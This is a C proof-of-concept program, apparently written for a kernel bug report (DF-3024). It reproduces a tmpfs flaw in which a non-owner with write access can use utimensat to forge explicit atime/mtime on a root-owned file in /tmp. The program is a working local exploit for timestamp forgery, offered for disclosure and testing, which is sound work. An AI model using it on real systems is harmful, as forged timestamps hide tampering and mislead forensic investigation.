/*
 * DF-3024 — tmpfs_chtimes() (tmpfs_subr.c:1291) applies va_atime /
 * va_mtime with NO ownership/privilege check and ignores VA_UTIMES_NULL.
 *
 * The VFS layer (kern_utimensat, kern_futimens) only gates on
 * NLC_OWN|NLC_WRITE, i.e. it admits root, the owner, OR anyone with
 * write access.  POSIX (and every other local FS: ufs_vnops.c:461-470,
 * ext2, msdosfs, hpfs) requires that forging EXPLICIT (non-current)
 * timestamps be restricted to the file owner; a mere writer may only
 * set times to the current time (VA_UTIMES_NULL).
 *
 * On tmpfs any user with write permission on a file can forge arbitrary
 * atime/mtime — defeating timestamp-based tamper detection, make/rsync
 * style builds, forensic ordering on /tmp, /var/run, ...
 *
 * Setup: root creates /tmp/df3024_victim owned root:wheel mode 0666.
 * Unpriv user (maxx) forges mtime/atime -> expect success (the bug).
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

int main(void)
{
	struct timespec ts[2];
	struct stat st_before, st_after;
	const char *path = "/tmp/df3024_victim";

	/* forged: mtime = 2001-09-09 01:46:40 UTC (1000000000), atime same */
	ts[0].tv_sec = 1000000000;
	ts[0].tv_nsec = 0;
	ts[1].tv_sec = 1000000000;
	ts[1].tv_nsec = 0;

	if (stat(path, &st_before) != 0) { perror("stat"); return 1; }
	printf("before : uid=%u mode=%04o mtime=%lld\n",
	    st_before.st_uid, st_before.st_mode & 07777,
	    (long long)st_before.st_mtime);

	errno = 0;
	if (utimensat(AT_FDCWD, path, ts, 0) != 0) {
		printf("utimensat = -1 errno=%d (kernel enforced ownership)\n",
		    errno);
		return 1;
	}
	stat(path, &st_after);
	printf("utimensat = 0\n");
	printf("after  : mtime=%lld atime=%lld uid=%u\n",
	    (long long)st_after.st_mtime, (long long)st_after.st_atime,
	    st_after.st_uid);
	printf("SUCCESS-CRITERION: forged mtime==1000000000 by non-owner -> %s\n",
	    st_after.st_mtime == 1000000000 && st_after.st_uid != getuid()
	    ? "FORGERY REPRODUCED"
	    : (st_after.st_mtime == 1000000000 ? "mtime changed (owned file?)"
	       : "not reproduced"));
	return 0;
}
